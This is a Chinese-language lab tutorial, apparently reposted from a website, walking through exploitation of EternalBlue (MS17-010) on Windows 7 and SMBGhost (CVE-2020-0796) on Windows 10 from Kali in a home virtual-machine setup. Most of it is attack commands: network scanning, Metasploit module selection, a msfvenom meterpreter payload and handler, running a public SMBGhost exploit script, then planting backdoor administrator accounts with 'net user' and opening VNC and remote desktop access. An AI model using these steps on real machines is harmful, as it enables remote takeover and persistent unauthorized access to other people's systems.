永恒之蓝
实验环境:win7,kali
实验目的:拿到win7管理员权限
扫描该网段 nmap -sP 192.168.164.0/24,查看win7ip,也可在win7上查询
扫描端口,445,永恒之蓝是通过445端口进行攻击的
masscan --rate=10000 -p1-65535 192.168.164.128
测试连通性,互相ping通
输入命令masfconsole,进入框架
输入命令search ms17-010(永恒之蓝漏洞代码,可以百度查)
0是攻击,3是监测是否可以攻击
先进行检测 命令:use 3
输入options,填写参数(标注为yes的都是必填项)
可以看到RHOSTS(攻击对象ip)没有参数
命令set rhosts 192.168.164.128,将参数填入
由于,我的虚拟机win7不存在此漏洞所以我就不进行下去了。后面步骤就是use 0或 use exploit/windows/smb/ms17_010_eternalblue 进行攻击,将必填参数填写,最后输入run命令执行就可进入win7
获得shell控制台:shell,成功后输入shell就可,显示转到C:\Windows\system32目录下,说明已经获得了shell的控制权。
获得后可以,通过命令创建管理员用户就可直
进行后门植入(创建新的管理员账户)
net user hack 123456 /add //在windows 7上创建一个hack的用户,以便下次访问
net localgroup administrators hack /add //将hack加入到windows 7的本地管理员组中,以便获得更大权限
net user //查看windows 7本地用户
net localgroup administrators //查看windows 7本地管理员
在kali中输入 run vnc 可进入win7桌面(可显示)
更多命令可百度。
永恒之黑
漏洞原理:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
漏洞验证之蓝屏攻击
实验环境:win10永恒之黑漏洞版,关闭防火墙
将软件解压缩win+r,cmd,将软件拖入shell,根据提示输入win10ip。
利用漏洞开始攻击
实验环境:win10永恒之黑漏洞版,kali
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
生成反向连接木马
命令 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
输入命令:msfconsole进入框架
开启kali监听
依次执行下面命令
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp(刚刚替换的shellcode,后门)
set lport 8888(端口)
set rhost 192.168.164.132(win10ip)
run
新建窗口
将SMBGhost_RCE_PoC-master复制到root目录下
命令:cp -r '/home/kali/Desktop/SMBGhost_RCE_PoC-master' '/root/'
进入SMBGhost_RCE_PoC-master
命令:cd /root/SMBGhost_RCE_PoC-master
命令:python exploit.py -ip 192.168.164.132
到倒数第二行后,需要随便摁一个键执行
发现win10蓝屏了攻击成功
继续利用此漏洞做出更多,上一步蓝屏可能不会出现meterpreter(会话),可以ctrl+c结束第一个窗口,然后再次run,第二个窗口再次执行python exploit.py -ip 192.168.164.132,不成功就重复此操作(看运气)
输入shell进入win10的doc界面
exit可退出
命令:net user abc 1 /add
创建新用户abc,密码为1
将用户abc加入到管理员组
发现win10成功添加了abc用户
exit推出shell
run vnc进入win10桌面(前提win10没开防火墙)
开启win10远程桌面功能
返回真实机win+r输入mstsc(远程登录),输入win10ip,以abc账户登录(有个缺点需要返回win10确定,但是学习实验够了)
文章来源:https://www.toymoban.com/news/detail-800952.html
文章来源地址https://www.toymoban.com/news/detail-800952.html
到了这里,关于网安-入门永恒之蓝/黑的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!